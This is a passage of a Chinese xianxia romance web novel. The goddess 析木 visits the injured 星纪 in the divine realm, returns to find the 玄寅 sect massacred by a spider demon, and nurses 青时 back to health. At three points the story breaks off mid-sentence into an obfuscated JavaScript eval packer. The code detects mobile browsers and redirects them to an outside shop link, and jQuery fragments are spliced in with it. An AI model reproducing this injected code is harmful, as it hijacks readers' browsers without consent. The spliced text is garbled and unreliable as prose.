伍晨岚直催促,一步跨入析木的房间:“你俩到底好了没呀?小鉴心也要去上课的,别忘了将他一起带过去!” “好了好了,这就来了。” 其实这术法基础课堂,青时早就学过了,析木很明白,他若不是为了过来陪她,哪还需要再上一遍基础课。 不过,想来他也是享受的吧。毕竟,在这课堂之上,没有人不喜欢他。 师弟们围着他请教,师妹们围着他看,想要与他多接触,师长们更是喜欢聪明学生,顺带还能教教师弟师妹。 课堂间隙,析木总是能被一堆人挤到一边。 今日亦是如此。 她干脆去外间散散步,走动走动。 却见一个熟悉的白色身影在前面喊她:“析木。” 59. 遇露浓(六) 那人白衣胜雪,俊美无俦,翩翩然站立在茂密的红枫树下,赤红的枫叶随风散落,扬起他薄透的纯白纱衣,衬得他更似世外神祇。 “妄烛?”析木有一眼怔愣,意外道:“你怎会在这?” 妄烛缓步走近:“特意问了降娄,她说你在这里。” “析木你可忘了?我……我还有第九世情劫未历,之前说过的,你会来送我去玄环阵,开启历劫。” 析木一拍脑袋:“呀!我竟是给忘了……最近,哎,我最近在凡间有点事情,你什么时候过去?我定是要去送你的!” 她踮起脚尖,一把搂过妄烛的肩膀:“你放心,送你去玄环阵历劫这事,我必定每次都陪你去!” 转念,她又垂头叹息一声:“怎么说……到底也是因为我,你才会在无序城受伤,都是因为我,你才会修为倒退,需要历劫才能涨回去……” 妄烛侧头垂眸,看着她笑:“你呀,你反过来想,若当时是我的后背差点被天魔刺中,你必定也不会袖手旁观,要来替我挡剑。是吧?” 析木哼道:“你就是个傻的,才会用身体去挡!要我,我反手就是一刀!” 妄烛无奈笑道:“是是是,还是你厉害。” 析木撇撇嘴,也笑:“真敷衍!” “那你这回是准备何时过去?”她拿下挂在妄烛肩上的手臂,问道。 妄烛:“十日之后,我在南天门等你。” 析木点点脑袋:“好。” “你如此神秘兮兮的,究竟是在凡间做些什么?”妄烛忽然起了好奇,弯腰靠近析木的双眸,说道:“你悄悄告诉我,我保证不说出去。” 她笑着伸出一指隔开他:“现在还不能告诉你,若是提前告诉你,我所愿之事便要不灵了。” 妄烛将手撑着下巴,摸了摸:“听你这么说,我更想知道了,你一向都怕麻烦,居然还特意与降娄换班次才下凡?” “行啦行啦,别想套我的话,现在是真的不能说,并不是我不想告诉你!”她说着,望了望天上。 果然,每每在她动念头要说出青昼复生这事之时,天边立马黑云汇聚,紫电闪现,天雷鸣动。 析木将双手一摊:“看见了吧,天道不许。此乃天机不可泄露。” “快看!外面天色怎地忽然变了?”悟道堂的新弟子们很快从里间出来: “大家快出来看!好大的一片乌云,还有紫电!” “是啊,刚刚还好好的天,一下子变得漆黑!” “怎么回事?莫不是有仙人在此地渡劫?” 眼见出来的人越来越多,甚至还有人往这边走来,析木推着妄烛的背往前走:“行啦,十日之后,我去送你,你快回去吧!” 妄烛摇摇头觉得好笑:“想跟你见个面怎么还跟做贼似的?” “像妄烛神君长得这般好看的,等会还不得被这些小妹妹围堵?”析木一脸嫌弃:“还是说你想要被围堵?好啊,那你就立在这,我去喊她们过来。” 言罢,她松开妄烛的背,作势要去喊人。 “别别别,我走还不行嘛,怕了你。”说着,他朝析木摊开一手,一根红色发带显现,另一只手抬起指指她的头发:“方才便看见了,你定是又随手乱丢发带。” “还是你了解我。”她一点不客气接过,再抬头时,妄烛已化作一道白色影子划过天边。 他清朗的声音遥遥落在耳畔:“别忘了,十日之后,南天门见。” “知道啦,啰嗦鬼。”析木笑着应道。 她正转身,打算回悟道堂继续上课,却见青时立在一旁看她,似乎在那站了有一会儿。 遥遥相望,有些看不清他的神色。 她走过去:“你怎么也出来了?” 抬头仰望苍穹,见乌云和雷电都已逐渐散去:“这下乌云都散啦,不会打雷下雨,我们进去上课吧。” 青时淡淡“嗯”了一声,自顾自先一步往回走。 没等她的意思。 析木一瞬间觉得有点奇怪,但也未去细想。 直到几天后,吃晚饭时。 伍晨岚直言:“青时师弟最近几日为何总是走神的样子?” 穆理塞了一口饭菜:“可不是吗,本就话少,最近这几日像是被谁喂了哑药似的。” “啊!我的脚!”穆理看着析木手中的长凳腿扎在他脚背,大吼一声。 “不好意思啊穆师兄,我手滑了。”析木冷眼把长凳挪开,他才不会被喂哑药。 落樱峰中,除了寻引真人,便只有他们几人,而寻引真人常被掌门一家拉着去吃饭,故而,他们几人时常都在弟子院落里摆桌,一起吃饭。 今天也是如此,青时在厨房把最后一盘青菜炒好,端进院子。 析木看边上的鉴心吃得差不多,等他下桌后,她便一屁股挪到青时身边,小声问他:“你胃口不好?” “嗯。”他声音很冷,明显冒着幽幽寒气。 析木眯了眯眼,盯着他看,看他慢悠悠吃完一碗饭,再慢悠悠地收拾好餐桌。 直到最后看他摆放好长条凳,她跑上前一把牵住他的手:“陪我去散步!” 说完,也不等旁边几个人在那嚷着要同去,她一个闪身便带青时来到屠妖湖边。 这次特意避开那群守湖弟子经常巡逻的地块,选了一片偏僻的草地。 析木把自己纤细的手指挤到青时的指缝中,十指紧扣,这才满意地拉着甩了甩。 见他木然着脸毫无反应,她终于忍不住笑出了声:“你那天看见妄烛了对不对?” 这人不管年纪多大,连吃醋的样子都跟从前一模一样,分明生气,脸白得都要冒寒烟,却始终都忍着不与她说。 就憋着吧,看他能憋多久。她好想捏他的脸。 “你靠过来点,我有话跟你说。”析木想想还是停下脚步,冲他招招小手。 面前的少年很是听话,弯下腰贴近她,等她开口。 可她看着他突然的靠近,有一瞬的呼吸滞涩,当那双灰棕色的瞳一下子放大在眼前,她连心跳都暂停了一息。 他等了很久,她终于启唇说:“真好看……” “谁真好看?”他淡声问,双眼却盯着她发顶的红色发带。 析木忽然愣了一下,没察觉到自己怎么就说出口了,“噗”的一声笑了出来,笑得捧腹,整个人都在颤抖。 青时眼睫轻眨,没想到她会笑得这么开怀,站在原地满脸疑问地望着她。 她扑到他怀里的时候还在乐,笑着说:“他是仙友。” 他微微顿住,“……嗯。” 她终于停下笑声,靠在他的胸膛上,原本有些冷冽的声音温柔下来,轻轻地告诉他:“你跟他不一样。” 青时很久都没说话,就那么立在原地。 析木轻叹一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008360|133843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,扯过他垂在两侧的手,按在自己腰间:“这个时候,你要用力抱我。” “……嗯。” 青时虽是应下,抱她抱得却并不用力,相反,很轻,轻得就像蜻蜓点水,他始终不敢拥抱她。 析木欲再开口,眼前忽然飞入一只红绿色的发光小鸟,析木松开青时,抬手去接。 看完花叶鸟叼的信中内容,她对青时说道:“我有事要回……回家一趟,慢的话可能要过几天才会回来。” 青时看着她,有些木讷地:“好。” “怎么这般呆呆的?”析木觉得他今天呆得出奇,踮起脚在他唇边“吧唧”亲了一口。 “快快回神,小呆呆。” 随即,析木闪身离开。 青时的眼睫缓慢轻颤一下,双目瞪直,整个人如同石刻般僵在原地。 可才过了片刻,她火急火燎地从天边再次闪现回来,塞了一只花叶鸟给他:“有事就用它联系我,将灵力灌入一点点就可以使用,知道了吗?” “嗯。” 她笑着拽下他的衣襟,“吧唧”又是一口,这一回,狠狠亲在了他的唇上。 远处天边的红霞似是火烧,映得人面更是一片通红。 回到神界,析木一路直奔神树玄境。 她正要往里行去,一道黄色身影一把拽过她,拉到僻静处:“析木,你可算回来了!” “降娄,星纪怎么受伤了?现在怎么样了?!”析木紧张地看向降娄:“我才收到花叶鸟。” “别急,已好些了。”降娄亦是紧张地张望了一下四周,这才拉过析木的手:“你且跟我过来,星纪的情况有些特殊。” 到星纪的疗伤之地,析木这才知道降娄所说的“特殊”是什么。 她的整只右手手臂沾满天魔的魔气。 浓郁的黑色魔气就像甩不开的藤蔓,缠绕在她身上。 “星纪,这是怎么回事?!”析木扑过去,焦急地不知该如何是好,她还从未在哪个神仙身上见过这么浓的魔气。 星纪靠坐着的苍天神树散发出阵阵绿色光芒,天地清气丝丝缕缕地逐渐包裹了她。 不多时,黑色魔气消散,星纪的双眼恢复清明。 “星纪,你可还好?”析木忙问道。 星纪却无力向后倒去,析木正要去接,神树一瞬间化为人形,将星纪拢在怀中。 神泽淡淡开口:“她很好。” 面前男人面容清俊,身形高大,浑身掩藏不住的天地清气淡淡萦绕。 析木看得一顿,很快反应过来,问道:“你是……神树神泽?” 他的眼中唯有他怀里的星纪,其余的人仿佛视而不见,像是懒得搭理:“不错。” 星纪勉强撑起身子:“神泽,你不该现形。” 神泽对着她淡笑道:“无碍。” 析木和降娄哪怕再是反应迟钝,也感觉出来了,这二人的关系非同一般,甚至……可以说得上亲密无间。 可,这供养天地清气的八大神树,依照天道法则,不该有七情六欲。神树若是生出七情六欲,天地清气便染上所谓“污秽”,三界清气失衡,便会引来不详。 他们这十二守卫者再清楚不过,神树若是生出七情六欲会是如何下场。 星纪……是怎么敢的…… 析木看着面前亲密的二人,突然五味杂陈,她竟不知道该如何去阻止他们。 60. 遇露浓(七) “对了,六哥怎么样了?可回来了?”析木转头问降娄。 降娄示意她放心:“实沈他平安被星纪带回,没事。” “若不是实沈以为那只天魔是你,便也不会追出去。”神泽在一旁凉凉说道。 析木眯了眯眼,问他:“什么意思?” 星纪看向神泽,嗔怪他:“实沈也是担心则乱,这与析木无关。” 神泽:“那日,其中一只入侵的天魔化作你的模样,诱开实沈,最后引他进入无序城。” “神泽!”星纪气急:“实沈和我都已经回来,你莫要再说这些!” “呃!”星纪明显内伤严重,当下便呕出一口血来,右手臂上魔气再次溢出。 “星纪!”析木忙上前扶住。 神泽用手挥开析木,即刻输送清气给星纪。 析木怔怔收回手,满眼心疼。 方才听见神泽所言,她还有什么不明白的?假若星纪不是因为要去无序城带回实沈,便也不会被魔气浸染,而实沈,是因为化形成她,才会被那天魔引诱离开。 不多时,魔气被清气压下。 “星纪,我……”析木纠结着,想开口与星纪说些什么:“你……” “神泽,我们姑娘家有自己的私房话要说,你不方便听。”星纪将神泽支开,降娄也说自己还有其他事忙,暂且先离开。 待那二人走远后,析木紧紧揪着心脏,望着星纪的双眸逐渐浸湿:“星纪,如何才能祛除你体内的魔气?” 析木活了数千年,作为神界天地清气的戍守,她见过无数天魔伥鬼,也见过身染魔气的神仙,但那些神仙无一例外,最后的下场唯有被魔气吞噬,化为魔气的一部分。 最后,漫无目的地游荡在无序之城,再记不起自己是为何物。 星纪闻言微微顿住,转而又是淡然地笑着:“有神泽为我祛除,无甚大碍,你莫要多想,我已经好很多,他再为我祛除两次,便都会好。” “真的吗?”析木不傻,她知道神泽身上的清气虽说菁纯浩荡,可……古往今来,还没有神仙沾染魔气之后能彻底祛除的。 “不过,希望你能帮我保密。”星纪冲她眨眨眼,左脸的酒窝浅浅:“我和他。” 析木却望着她许久,落眼在星纪沾血的唇角,用尽全身力气去忍住,逼着自己暂时先不要去管星纪与神泽的事。 可她的性格从来就是直来直往惯了,她死死攥紧拳头,咬着后槽牙对星纪说:“星纪,你能不能……多为自己着想。” 说完,析木转身离开。 外侧,神泽长身而立,似乎站在外面等已她有一会。 她走过去,定定看着神泽幽绿的眸子,开口道:“神泽,神界的天罚,我不相信你会不明白。” 他却闻言一笑,道:“你为了让青昼投胎转生,硬是抗下九道天雷,这件事……” 析木连呼吸都僵住,瞬间瞪大双眸:“此事你从何而知?” 这件事除了天帝和她自己,从未对任何人说起过。 神泽抬手点点自己的眼,勾起唇角:“亲眼所见,当时,你恐怕没注意到我这棵树。” “我受罚,不曾牵连任何人,可你,”析木怒视着面前这个一脸反叛的男人:“你不该仗着星纪的喜欢,让她受难。” 话落,神泽有一瞬的滞涩,似乎没想到析木会将这些直接说出,停住良久,他幽寒一笑,道:“不会有那么一天。” “若有,我定走在她的前头。” 析木握紧拳头从他身边擦身而过,不再看他:“星纪就是傻子,才会喜欢你。可你,并不值得。” 走出几步,她忽而又再定住脚步:“还有,星纪沾染魔气,错的是天魔,而不是我。” 神泽驻足望着那道绿色身影离开,心下颤动,竟是再说不出一个字来。 析木想着还是暂且先留在神界,一来是想等星纪的情况稳定,二来,答应过妄烛要送他去玄环阵。 几日后。 析木送完妄烛去玄环阵之后,再去看星纪。 星纪明显比之前好了许多,拉着她笑:“你看看你,人在这里也心不在焉的,我根本就没事啊,你要不还是去忙你的?” “不行,我要留在这,等你好全。”析木倔劲一犯,星纪也只好随她去。 这一待,便不知不觉过去了一年。 神界的时空流速与人界不同,总得来说会慢上许多,但…… “不应该啊,花叶鸟为何全无反应。”析木拎着一只才半个巴掌大的小鸟晃荡几下。 实沈走过来,拿走她手里的花叶鸟:“怎么了析木?在等谁的信?” 她坐在石凳上,一手撑在石桌前,长叹一口气:“一个凡人。” 实沈本就生得风流倜傥,将绿色衣袖一扬,施施然落座在她身侧,手中折扇绽开:“来跟六哥说说看,这究竟什么样的凡人,能得你垂青?” “一个好看的凡人。”析木伸手抵在下巴上,回忆起那双灰粽色的清瞳,抿着唇笑意浅浅。 实沈:“花叶鸟叼的信件只能用花叶鸟传递,所以你给了那凡人一只花叶鸟?” 析木点点脑袋:“嗯,是啊。” “咳,你呀,”实沈将折扇一收,轻拍了一下析木的脑袋:“让你不关注《昆仑邸报》!” “打我干嘛?”析木无辜地摸摸头。 实沈摇摇头道:“析木啊析木,我的好妹妹,都已是一年多前的消息了你竟然不知?” 析木一脸茫然:“什么消息?” 实沈说:“自那日天魔侵入我神树玄境之后,天帝便下令,将花叶鸟管制极严,你给凡人的那只若是未申报名册,没有誊写何人是它的主人,便无法与神界之内的花叶鸟互通信件。” “咱们神界的结界自那时起便多加了两重,你可知?” “什么?!”析木傻了,呆愣在原地。 难怪……一年多前,她发出去给青时的信件从未收到回信? “六哥,我接下去几日的班次由你替我顶上,”她边说边往南天门跑去:“待我回来,你想怎样都行!” 人界,时空的流速比神界要快上一倍。 落地人间,此刻已是三年之后。 霜月高悬,星星点点,人间正是冬月的夜间。 寒风冷冽,扬起的树枝可怜兮兮地挂着枯黄的叶子。 析木从神界下来,闪身踏上落樱峰,气喘吁吁。 整个玄寅仙门上空笼罩着一层浓郁的血腥气,她自方才在天边飞来便已感受到。 落樱峰上所有的院落皆是空置,一个人影都瞧不见。 空气中弥漫着无声可怖的寂静,让析木忽觉心口一滞,一瞬间的不祥预感迅速涌入。 转身,她朝着玄寅仙门的主峰疾风行去。 主峰之上,大殿门前,阴森恐怖的血红漫布整座山头,满地的尸块、血肉模糊的破碎残肢! 血流成河,玄寅仙门仿佛成了地狱。 “青时……”析木止不住地心慌,连声音都开始发抖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008361|133843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“青时……” “……云舒……” 一道沙哑干涸的女声从身后响起。 析木转身朝着那声音飞奔,但见伍晨岚的一双小腿全都被人砍去。 她的口中满是粘稠的鲜血,艰难地在地上爬行:“云舒……” “伍师姐!伍师姐……”析木跪倒在地,将伍晨岚扶在怀里,眼泪瞬间就在眼眶中汇聚成团。 她一手快速凝结术法,替伍晨岚止血,输入灵力护住其心脉:“怎么回事?!到底发生了什么?!” “青时在哪?”她连喉咙都开始发疼。 伍晨岚哆哆嗦嗦地看向辰中殿:“他……他进去救人……” 析木伸手拿出一枚丹药,喂入伍晨岚口中:“师姐,你且在这边稍候,等我回来。” 伍晨岚却紧紧拽住析木的衣角:“师妹……云舒……我一直都能感觉到……你定然会些法术,可那殿里的妖孽太过厉害……你跑吧……” “快,跑……这里,危险……那个蜘蛛妖,十分凶残……”伍晨岚血泪纵横着一张脸,却不忘让析木远离此处。 析木搂着伍晨岚轻轻拍了拍:“没事,没事,别担心,师姐你且休息一会。” 她将伍晨岚安置好,使用瞬息术眨眼之间便进入辰中殿。 大殿内漆黑一片,浓郁的血腥气无法掩藏地涌入鼻间,让人闻之欲呕。 “呼……呼……” 妖兽的巨大呼吸声就悬于头顶处。 析木挥手召唤出数片火光,落地成灯,将大殿照得通明。 面前,这座十层楼高的大殿近乎一半都被一只蜘蛛巨妖所占! 鲜红似血的蜘蛛巨妖顶着两颗硕大的脑袋,已是一片灰败,不断喘着粗气,出声却是一副娇女模样:“来者,何人?” 析木双眸坠满寒冰:“你没资格知道。” 随即,她一抬手,掌中神力释放,千万重绿色光芒笼罩双头蜘蛛巨妖,惹得她两个脑袋都在凄声哀嚎:“啊啊啊啊——” 只刹那,红色的蜘蛛巨妖炸得连粉末都消失。 大殿的地上一如方才外面一般,尸山血海,有过之无不及。 析木强忍着恶心和心头紧缩的阵痛,去找青时。 “青时……你在哪?” “听到了就应我一声好不好?青时……” 眼泪不知不觉就那么淌下,她顾不上去收拾,在满地的狼藉中寻找,不放过一丝一毫地找。 玄寅仙门的辰中殿,九州大地,八大仙门之中引以为傲的最大仙门殿宇。 析木在这一刻却觉得,想炸了这个最大的殿宇,凭什么这么大得没边?凭什么……找不到…… 那些尸块都不是他,也绝不能是他…… 还是找不到…… “青时,我回来了,我回来了。” “我没骗你啊,回来了……” 析木一遍又一遍地低喃,像怕吵醒了什么。 窗外幽蓝的天光渐渐亮起,伴随着呼啸的风雪,吹开一扇扇沉重的门。 “咳……”忽而,一道沙哑的咳嗽声从大殿暗处的角落传来。 析木甚至有那么一刻怔忡,但也就短短一刻,来不及眨眼的一刻,她闪身飞去。 天亮之时,漫天的白色大雪从天际散落,像是连天都在哭泣。 苍茫银雪覆盖血色大地,她终于找到了属于她的小小火苗。 “青时……小呆呆……你说话……” 她抱着一个血人,哭得几乎失声。 61. 遇露浓(八) 玄寅仙门数千年基业与名望毁在了竺肃手中。 这个让同门心怀希望和敬仰的大师兄,直到那一夜事发,众人才意识到他的虚伪和无能。 数年前,竺肃在下山历练之时,结识到一对出水芙蓉般的双生姐妹,三人一路同行游历,志趣相投,仗剑天涯。 可他始终未察觉到,这对貌美姐妹乃是双头蜘蛛妖所化。 三人同行数年,同风共雨,蜘蛛妖终决定与他坦白,竺肃知道真相后也不恼,反而与姐妹二人的感情更盛以往。 之后没过多久,蜘蛛妖便怀上竺肃的孩子。妖怪的孕期往往是最为虚弱之时,蜘蛛妖维持不住双生姐妹的人形,就此变回双头蜘蛛妖。 而竺肃却趁她虚弱毫无防备,竟是一剑剖去了她的千年妖丹,千年修行一朝尽失,更导致他们的孩子未成形便胎死腹中。 自那之后,蜘蛛妖躲回山林修炼疗伤,滔天的恨意使她下定决心报复,报复那养出竺肃这等绝情虚伪之人的玄寅仙门。 她不怕天长日久,她一个妖怪有得是时间,可竺肃一介凡人,哪怕修仙,最长的寿命才不过一千五百多年。 或许当真是她运道极好,契机很快就来了,就在三年前,玄寅仙门新弟子遴选之时,人多杂乱,便是混入玄寅仙门最佳时机。 但门中掌门、寻引真人皆是修得半仙之人,她如今只是一个没了妖丹的蜘蛛妖,若想复仇,只能动用见不得人的阴诡手段。 上山那日,蜘蛛妖遇见了卓薰儿,发现此人魂魄阴弱,于是,她便缩小形态,爬入卓薰儿耳内掩藏,一点一点蚕食卓薰儿的魂魄,最终,她变成了“卓薰儿”。 自入门那一日开始,蜘蛛妖便将炼月妖毒下在水源之中,下毒分量若是多了便会引人警觉,所以她每次去水源就只投下一点点。 故此三年之间,玄寅仙门上下数千人所饮下的水中,都含有炼月妖毒。 而吃下炼月妖毒的人,只要蜘蛛妖用蛛丝奏乐便可轻易控制,封闭其灵力,成为没有丝毫灵力、无法使用仙术的普通人。 三年时间日积月累,终于,在那日晚宴之下,蜘蛛妖亲眼看着他们所有人一口一口饮下酒水。 看着玄寅仙门的人喝了三年的妖毒终于成型,她虽只余一成妖力,也足以用万仞蛛丝屠戮整个玄寅仙门! 酒过三巡,万仞蛛丝从她身体中骤然释放,细细密密的蛛丝化作无数血刃飞舞,眨眼便穿透一个又一个人,如同切菜一般。 而她,是那个晚上的地狱修罗,貌似惬意地变回蜘蛛本相,两颗头颅高高在上,看着那些飞溅的残肢和血液,她笑得眼睛都发疼…… …… “云舒,你还好吧?” 伍晨岚看着析木嘴边溢出的血,满眼担忧。 几日过去,伍晨岚凭着析木喂下的那颗仙丹,恢复得比预想的快许多,双腿已经不再生疼,能够坐上轮椅行动。 析木擦去唇边的血,摇了摇头,扯出一丝笑:“伍师姐别担心,我没事的。” 神仙不得干涉三界生灵生死,这是神界的铁律,她却用一掌了结那只双头蜘蛛妖,即便当时蜘蛛妖已是苟延残喘。 析木从没做过这类事,所以也从来不知,引来的天道惩罚竟是如此蚀骨折磨——那双头蜘蛛妖生前的爱恨、痛苦、煎熬,日夜轮替在她识海中不停地重复感知。 一遍又一遍放大感官,让她不知何时才是折磨的尽头…… “你这浑身的冷汗跟下雨似的,怎会没事?”伍晨岚倒了一杯温水递给析木。 “一点小小内伤罢了,很快就会好。”析木接过茶水,抿了一口。 伍晨岚无奈叹息,看向床上躺着的人:“青时……这几日看着脸色红润些了,应该很快就会醒了吧。” 析木放下茶盏,坐到床沿,拉过青时的手轻轻揉着:“会醒的。” 那天,她找到他的时候,他用染血的衣袍将鉴心抱在怀里护着,鉴心整个人都在发抖:“青师祖、青师祖……” “仙女姐姐,你回来了!”鉴心哭得上气不接下气:“青师祖为了救下我才会变成这样……” 她把他断掉的筋脉尽数接上的时候,他有一瞬间的清醒,很浅淡地看着她笑。 她拿着干净的帕子给他擦脸,在他耳旁一遍又一遍地告诉他:“不是做梦,我在。” 另一只手却被他死死攥着,若不是他的指甲修得短,定是要将她的手抓出血来。 窗外幽幽大雪无休无止一般,伴着狂风哀嚎,日月无光,铺天盖地落下,仿佛要掩盖这世间万般罪恶。 又是小半个月过去,雪总算是下得小了些许。 晨间阳光披撒在山间,眺望而去很是温暖。 玄寅仙门到底是比从前冷清了。 掌门和一众长老皆亡,剩下零星的几十个小弟子,伤残的还占据了多数。 陆熙被那蜘蛛丝刺瞎了一只眼,算是情况较好的,按照门中的辈分,大家都要称呼他一声陆师兄,于是便由他来安排善后事宜,暂时也算是井然有序。 落樱峰一向没有多少人走动,此刻更显幽静。 而寻引真人和穆理也同在那天晚上,都为保护其他弟子而死去。 伍晨岚望着院落后方的两个坟茔,抚摸身下空荡的小腿处,即便此时在院落里晒着太阳,却仍旧觉得周遭的阴寒之气难消。 “伍师姐,昨日的剩饭剩菜是不是还有一些?”析木抱着一只黑白相间的小猫走入院中。 伍晨岚闻言顿了一下,看向那只毛茸茸的猫儿:“啊,剩饭……有的。” 析木将猫一把塞进她怀里:“师姐抱一会吧,我去给喵喵找吃的。” 伍晨岚:“它叫……喵喵吗?” 析木:“嗯,刚取的,它也喜欢这个名字。” 伍晨岚伸手抚摸着怀里柔软的小猫儿:“可真是……随意啊。” “咦?”析木翻开桌上的菜罩子,一眼便看见一只红色小龟在偷偷埋头喝汤,她欣喜地将锅里热着的鸡蛋羹端出来:“小龟,你怎么跑到这儿啦?” 把手里的鸡蛋羹挪到小龟面前招待他:“新鲜的鸡蛋羹,你尝尝看,我刚学着做的哦。” 热腾腾的鸡蛋羹摆放在小龟面前,他惊喜地瞪大双眼看着,红色小脑袋正要钻过去食用,却伸来一只白皙修长的手端走了这碗鸡蛋羹。 析木只觉耳边一阵暖风拂过,熟悉的琥珀淡香漫了过来,瞬间围绕她。 “青时!”她眼睫轻颤,转身猛地将他的腰圈住,埋在他胸前瘪着嘴问他:“你醒了!” “嗯。”他还带着浓浓的鼻音,显然还未好全。 他一手端着鸡蛋羹,一手轻扶她的腰,声音又哑又闷:“我饿了。” 析木眼中雾气潮湿,在他胸膛上蹭了蹭,才抬头:“想不想吃腊肉?伍师姐教我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038597|133843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做的。” 青时抬手轻轻摩挲着她的眼睑,唇边扯出一抹笑:“想。” “你做的,定然好吃。” 她听着他这么说,笑得一脸小得意:“那是自然。我学得可快了。” 眼看着青时一口气吃完桌上的菜,析木小心翼翼地问他: “好吃吗?” “很好吃。”他说。 析木理所当然地指挥道:“那你要负责收拾、洗碗。” “好。”他笑着应下。 待青时慢慢悠悠地洗完了碗,析木拉着他到院子里一起晒太阳。 她特意拉了一张稍微大点的竹编躺椅,想着可以跟他一起躺。 可他却说:“云舒,我伤还未好全。” 她立马伸手摸摸他的胸膛检查,疑惑着:“明明好了,都吃了那么多的仙……算了,还是让你好好养护几日。” 于是又重新拉了一张竹编躺椅,放在边上,两人分别躺一张。 这将近一个月的时间,析木都没怎么好好休息,今天倒是真真放松许多,一躺下便合上眼睡了过去。 才感觉没睡多久,身子一轻,被人打横抱在怀里,析木强撑着睡意微微睁开眼,抬头看去,那双灰棕色的瞳也正望着她:“冬日寒气重,院子里起风了,我抱你回屋里睡。” 她满意地圈着他的脖颈点点头,迷迷糊糊地再合上眼,嘴里嘟囔着:“好,一起睡……” 他正迈开步子往里间走,却闻声顿住,抱着她的手臂紧了紧,缓下两息,这才重新迈开腿。 析木这一觉便睡到了第二日中午。 她正伸着懒腰走出房门,一眼便看见一个红头发的小小少年,坐在饭桌前正给大家分好筷子,见到她过来便招呼着:“云舒,饭菜刚出锅,快来吃饭。” 析木直直盯着他那一头张扬的红发,走过去狠狠蹂躏:“当真顺滑!” 她笑得一脸满意:“小龟,我果真没看走眼。” 小龟默然地坐在凳子上,仍由她揉乱他的红发,无声无息地红了脸:“只、只允许你摸。” 青时端着炒好的青菜上桌,对小龟道:“去喊伍师姐来吃午饭。” 小龟:“噢……好。” 待吃完饭后,析木一把拉过青时:“陪我去散步消食。” 冬日午后,山上的雪慢慢融化,温暖的阳光照在身上,显得几分惫懒,只觉在山道上散着步十分惬意。 析木扯扯前面那人的衣角:“青时,我走不动了,你背我。” 她很少有刻意撒娇的时候,只是觉得这么闲适的冬日午后,不撒个娇都像平白浪费了这悠然时光。 “那我们坐下休息会。”青时指着边上的石块:“这里可以坐。” 说完,他脱下外袍垫在上面,“好了云舒,坐吧。” 总之是神不知鬼不觉的,她就那么坐下休息了,到最后也没让背着走。 半夜,析木想来想去总觉得哪里不对劲,干脆爬起坐在床上,望着窗外的月光细细思索。 从前,他不会这样一直拒绝她,现如今这是怎么了?莫不是这重新投了一次胎过后,导致……那方面有什么毛病不成?! 这可不行!大大的不行!也没人告诉她重新投胎会变这样啊…… 抬起右手上绑着的墨玉缚魂铃,她静静地看了一会,终于还是决定灌入灵力,她倒要看看,他到底是出了什么问题。 62. 遇露浓(九) 翌日一早。 天光刚亮,析木便在落樱峰的男弟子院落里坐着。 青时打开房门,看见院中坐着的身影微微一顿:“云舒?你今日怎的起这么早?” 她拿着竹簪子走近,手中绞着一缕散开的发丝:“来找你做发髻。” 把竹簪子塞到他手里,迈步跨入他的房间:“你之前答应过我的,会去学挽发髻。我来看看成果如何?” 青时拿着那根熟悉的簪子淡淡扯出一抹笑意:“嗯。” 析木端坐在镜子前,看着青时拿起梳子为她梳开长发,状似不经意地问:“房里为何会有梭织机?” 他手中的梳子明显停了片刻,才回道:“自然是用于织布。” “我看那织了一半的布颜色很是鲜艳。”她紧紧盯着镜子里面那少年的反应:“可你从未穿过红色的衣裳?” “给你的。”他很坦白,说:“你总是偏爱红色的发带,想试试能不能做条新的给你。” 析木却摇摇脑袋,手掌摊开,红色发带显现,她用手握住,便化成了锁链。 “这是降魔锁链,捆天魔用的。” “我放在头发上,是因为我懒,而且……”她撇撇嘴:“我手笨,总是学不会用簪子挽发。” 青时闻言停下手中动作,就那么静静地望着她。 “以后我的头发就交给你打理。”她唇角翘起,抬眸回望着镜中人:“你会不会嫌我麻烦?” 他正欲开口,却被她即时打断,镜中少女娇靥泛红,哼道:“我不许你嫌麻烦,毕竟你的命是我救回来的,面对救命恩人的这一点小小的请求,你不准拒绝。” 青时继续为她束发,唇边也染上笑意:“怎敢拒绝。” “这是一件如此简单的事。” 析木抿唇笑着,看他一点一点缓慢梳好一个精巧的发髻,簪上碧绿色的竹簪子。 “真好看。” 青时看着她,许久也不说话。 她总觉得,三年……似乎让这个本就不爱讲话的少年,更寡言了。 “我给你寄了好多信的。”她忽然说,眸中暗含委屈:“是……是我家乡,那里突然对花叶鸟管制变得严格,才会让那些信到不了你手中。” 他却摇了摇头:“刚开始几日,我收到了一些,只是……我给你的回信寄不出去。” 析木听见他收到了,欣喜地起身一把拥住他:“那你不会怪我的对不对?” 青时一手扶住她的细腰:“不会。” 她很快又放开他,一只手摊开,道:“我要看回信,给我。” 